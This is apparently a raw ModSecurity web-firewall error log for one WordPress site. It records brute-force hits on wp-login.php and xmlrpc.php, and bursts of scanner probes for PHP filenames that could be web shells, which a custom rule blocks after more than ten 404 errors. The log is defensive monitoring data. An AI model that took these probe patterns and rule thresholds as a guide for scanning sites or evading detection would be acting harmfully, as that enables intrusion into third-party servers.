[Tue Nov 25 18:41:30.562232 2025] [:error] [pid 14076:tid 14091] [client 91.231.164.112:45398] [client 91.231.164.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.231.164.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSWH2nsB4Gz6Qw-pvBsHBwAAAAo"]
[Tue Nov 25 18:53:06.318856 2025] [:error] [pid 28740:tid 28812] [client 138.199.60.187:44418] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/manager.php"] [unique_id "aSWKklppQCoYxWW6V0VyZQAAAlU"]
[Tue Nov 25 18:53:06.540096 2025] [:error] [pid 28836:tid 28960] [client 138.199.60.187:44570] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/manager.php"] [unique_id "aSWKkpwNRsoxcLQGkTe3VwAAAsU"]
[Tue Nov 25 18:53:06.808433 2025] [:error] [pid 28836:tid 28968] [client 138.199.60.187:44714] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/manager.php"] [unique_id "aSWKkpwNRsoxcLQGkTe3XQAAAs0"]
[Tue Nov 25 18:53:07.067097 2025] [:error] [pid 14077:tid 14118] [client 138.199.60.187:44850] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/manager.php"] [unique_id "aSWKkxG9n7UHEkwDTyh9_wAAAEg"]
[Tue Nov 25 18:53:07.328834 2025] [:error] [pid 14077:tid 14134] [client 138.199.60.187:45002] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/manager.php"] [unique_id "aSWKkxG9n7UHEkwDTyh-BgAAAFg"]
[Tue Nov 25 18:53:07.578759 2025] [:error] [pid 14077:tid 14114] [client 138.199.60.187:45208] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "aSWKkxG9n7UHEkwDTyh-CQAAAEQ"]
[Tue Nov 25 18:53:07.844781 2025] [:error] [pid 2987:tid 2989] [client 138.199.60.187:50982] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "aSWKk8-djEt-pTzPxnyT5AAAAUA"]
[Tue Nov 25 18:53:08.105640 2025] [:error] [pid 28842:tid 28990] [client 138.199.60.187:51116] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "aSWKlNNmoaPf6T4-6C2DoQAAA0A"]
[Tue Nov 25 18:53:08.381010 2025] [:error] [pid 14168:tid 14181] [client 138.199.60.187:51288] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "aSWKlPR-ZDU0QEgAIItcBgAAAMo"]
[Tue Nov 25 18:53:08.619403 2025] [:error] [pid 14076:tid 14088] [client 138.199.60.187:51496] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "aSWKlHsB4Gz6Qw-pvBsKLQAAAAc"]
[Tue Nov 25 19:24:23.601805 2025] [:error] [pid 14076:tid 14100] [client 162.241.225.132:42598] [client 162.241.225.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.225.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSWR53sB4Gz6Qw-pvBsSngAAABM"]
[Tue Nov 25 19:24:55.715890 2025] [:error] [pid 28739:tid 28786] [client 162.241.225.132:15868] [client 162.241.225.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.225.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSWSBxxGpKmlkG4FexR4fQAAAhg"]
[Tue Nov 25 19:40:42.276066 2025] [:error] [pid 28739:tid 28768] [client 103.159.37.236:56738] [client 103.159.37.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.159.37.236, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSWVuhxGpKmlkG4FexR72gAAAgY"]
[Tue Nov 25 19:40:44.536137 2025] [:error] [pid 28739:tid 28762] [client 103.159.37.236:56738] [client 103.159.37.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.159.37.236, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSWVvBxGpKmlkG4FexR73wAAAgA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 25 19:53:34.247021 2025] [:error] [pid 14076:tid 14093] [client 85.214.167.117:44656] [client 85.214.167.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.167.117, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSWYvnsB4Gz6Qw-pvBsaEwAAAAw"]
[Tue Nov 25 20:03:09.955180 2025] [:error] [pid 28609:tid 28637] [client 142.93.209.196:56208] [client 142.93.209.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.93.209.196, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSWa_SGGdT-nZJVs3x3KhgAAAZM"]
[Tue Nov 25 20:03:12.243250 2025] [:error] [pid 28609:tid 28623] [client 142.93.209.196:56208] [client 142.93.209.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.93.209.196, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSWbACGGdT-nZJVs3x3KjAAAAYU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 25 20:05:22.937202 2025] [:error] [pid 28739:tid 28782] [client 162.241.230.119:45890] [client 162.241.230.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.230.119, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSWbghxGpKmlkG4FexSCdQAAAhQ"]
[Tue Nov 25 20:18:34.270341 2025] [:error] [pid 28739:tid 28786] [client 107.180.112.101:20456] [client 107.180.112.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.180.112.101, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSWemhxGpKmlkG4FexSHHwAAAhg"]
[Tue Nov 25 20:18:43.443623 2025] [:error] [pid 14168:tid 14171] [client 107.180.112.101:15340] [client 107.180.112.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.180.112.101, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSWeo_R-ZDU0QEgAIIty1AAAAMA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 25 20:37:05.030673 2025] [:error] [pid 14168:tid 14195] [client 16.79.186.202:50140] [client 16.79.186.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 16.79.186.202, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSWi8fR-ZDU0QEgAIIt33wAAANg"]
[Tue Nov 25 20:37:10.067032 2025] [:error] [pid 14168:tid 14191] [client 16.79.186.202:50140] [client 16.79.186.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 16.79.186.202, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSWi9vR-ZDU0QEgAIIt36QAAANQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 25 21:50:52.493859 2025] [:error] [pid 43843:tid 43869] [client 162.241.217.156:39450] [client 162.241.217.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.217.156, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSW0PBhx4v3NUNdMKDP36QAAAdg"]
[Tue Nov 25 21:50:53.875687 2025] [:error] [pid 43843:tid 43866] [client 162.241.217.156:39450] [client 162.241.217.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.217.156, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSW0PRhx4v3NUNdMKDP36wAAAdU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 25 21:55:50.239650 2025] [:error] [pid 14077:tid 14119] [client 94.102.211.121:32916] [client 94.102.211.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.102.211.121, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSW1ZhG9n7UHEkwDTyjRGQAAAEk"]
[Tue Nov 25 21:58:52.098739 2025] [:error] [pid 14168:tid 14187] [client 164.73.217.18:42272] [client 164.73.217.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.73.217.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSW2HPR-ZDU0QEgAIIuSqwAAANA"]
[Tue Nov 25 22:10:31.812648 2025] [:error] [pid 2987:tid 2998] [client 48.210.250.238:62926] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cyanamids.php"] [unique_id "aSW418-djEt-pTzPxnzWHwAAAUk"]
[Tue Nov 25 22:10:33.370125 2025] [:error] [pid 14077:tid 14132] [client 48.210.250.238:62927] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cyanamids.php"] [unique_id "aSW42RG9n7UHEkwDTyjXZgAAAFY"]
[Tue Nov 25 22:10:35.780837 2025] [:error] [pid 2987:tid 3012] [client 48.210.250.238:62877] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cyanamids.php"] [unique_id "aSW428-djEt-pTzPxnzWIgAAAVc"]
[Tue Nov 25 22:10:40.320210 2025] [:error] [pid 28836:tid 29009] [client 48.210.250.238:62913] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cyanamids.php"] [unique_id "aSW44JwNRsoxcLQGkTf0CQAAAtM"]
[Tue Nov 25 22:10:41.721664 2025] [:error] [pid 14078:tid 14155] [client 48.210.250.238:62963] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/disengaging.php"] [unique_id "aSW44dVXYbb0ii_rVoKP1wAAAJI"]
[Tue Nov 25 22:10:43.308319 2025] [:error] [pid 28739:tid 28783] [client 48.210.250.238:62937] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/disengaging.php"] [unique_id "aSW44xxGpKmlkG4FexS49AAAAhU"]
[Tue Nov 25 22:10:44.772197 2025] [:error] [pid 14076:tid 14091] [client 48.210.250.238:62862] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/disengaging.php"] [unique_id "aSW45HsB4Gz6Qw-pvBtN8AAAAAo"]
[Tue Nov 25 22:10:48.309472 2025] [:error] [pid 14078:tid 14157] [client 48.210.250.238:62915] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/disengaging.php"] [unique_id "aSW46NVXYbb0ii_rVoKP5AAAAJQ"]
[Tue Nov 25 22:10:51.563799 2025] [:error] [pid 2987:tid 3010] [client 48.210.250.238:62929] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/disquiet.php"] [unique_id "aSW468-djEt-pTzPxnzWLAAAAVU"]
[Tue Nov 25 22:11:01.159914 2025] [:error] [pid 14076:tid 14084] [client 48.210.250.238:62866] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/disquiet.php"] [unique_id "aSW49XsB4Gz6Qw-pvBtOBAAAAAM"]
[Tue Nov 25 22:11:09.991312 2025] [:error] [pid 2987:tid 3002] [client 48.210.250.238:62863] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/duplicand.php"] [unique_id "aSW4_c-djEt-pTzPxnzWNgAAAU0"]
[Tue Nov 25 22:11:21.829564 2025] [:error] [pid 28836:tid 28962] [client 48.210.250.238:62865] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/parturiency.php"] [unique_id "aSW5CZwNRsoxcLQGkTf0GwAAAsc"]
[Tue Nov 25 22:11:26.345928 2025] [:error] [pid 28836:tid 29013] [client 48.210.250.238:62931] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/parturiency.php"] [unique_id "aSW5DpwNRsoxcLQGkTf0IQAAAtc"]
[Tue Nov 25 22:11:29.554845 2025] [:error] [pid 14076:tid 14093] [client 48.210.250.238:62895] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/parturiency.php"] [unique_id "aSW5EXsB4Gz6Qw-pvBtOOwAAAAw"]
[Tue Nov 25 22:11:47.990280 2025] [:error] [pid 14168:tid 14177] [client 48.210.250.238:62874] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phrensying.php"] [unique_id "aSW5I_R-ZDU0QEgAIIuW8wAAAMY"]
[Tue Nov 25 22:11:49.374876 2025] [:error] [pid 28609:tid 28619] [client 48.210.250.238:62945] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phrensying.php"] [unique_id "aSW5JSGGdT-nZJVs3x352QAAAYE"]
[Tue Nov 25 22:11:52.719655 2025] [:error] [pid 28739:tid 28777] [client 48.210.250.238:62850] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phrensying.php"] [unique_id "aSW5KBxGpKmlkG4FexS5XgAAAg8"]
[Tue Nov 25 22:11:56.295653 2025] [:error] [pid 28609:tid 28635] [client 48.210.250.238:62916] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phrensying.php"] [unique_id "aSW5LCGGdT-nZJVs3x357QAAAZE"]
[Tue Nov 25 22:11:58.454103 2025] [:error] [pid 28609:tid 28636] [client 48.210.250.238:62876] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pyrometry.php"] [unique_id "aSW5LiGGdT-nZJVs3x358wAAAZI"]
[Tue Nov 25 22:12:00.397561 2025] [:error] [pid 2987:tid 3003] [client 48.210.250.238:62871] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pyrometry.php"] [unique_id "aSW5MM-djEt-pTzPxnzWdwAAAU4"]
[Tue Nov 25 22:12:01.171000 2025] [:error] [pid 43981:tid 44002] [client 48.210.250.238:62859] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pyrometry.php"] [unique_id "aSW5MQgZn97m_qh_RaFyeAAAAxM"]
[Tue Nov 25 22:12:07.574790 2025] [:error] [pid 2987:tid 2996] [client 48.210.250.238:62939] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pyrometry.php"] [unique_id "aSW5N8-djEt-pTzPxnzWfQAAAUc"]
[Tue Nov 25 22:12:14.740687 2025] [:error] [pid 14078:tid 14150] [client 48.210.250.238:62858] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unprecipitously.php"] [unique_id "aSW5PtVXYbb0ii_rVoKQuQAAAI0"]
[Tue Nov 25 22:12:17.357540 2025] [:error] [pid 14076:tid 14083] [client 48.210.250.238:62969] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unprecipitously.php"] [unique_id "aSW5QXsB4Gz6Qw-pvBtOYAAAAAI"]
[Tue Nov 25 22:12:21.266160 2025] [:error] [pid 14078:tid 14152] [client 48.210.250.238:62868] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unprecipitously.php"] [unique_id "aSW5RdVXYbb0ii_rVoKQxgAAAI8"]
[Tue Nov 25 22:12:27.410653 2025] [:error] [pid 28739:tid 28782] [client 48.210.250.238:62925] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unbefittingly.php"] [unique_id "aSW5SxxGpKmlkG4FexS5fQAAAhQ"]
[Tue Nov 25 22:12:31.977723 2025] [:error] [pid 14168:tid 14171] [client 48.210.250.238:62958] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unbefittingly.php"] [unique_id "aSW5T_R-ZDU0QEgAIIuXIwAAAMA"]
[Tue Nov 25 22:12:36.124849 2025] [:error] [pid 28739:tid 28779] [client 48.210.250.238:48081] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unbefittingly.php"] [unique_id "aSW5VBxGpKmlkG4FexS5hQAAAhE"]
[Tue Nov 25 22:12:38.401242 2025] [:error] [pid 14078:tid 14151] [client 48.210.250.238:48090] [client 48.210.250.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unbefittingly.php"] [unique_id "aSW5VtVXYbb0ii_rVoKQ7AAAAI4"]
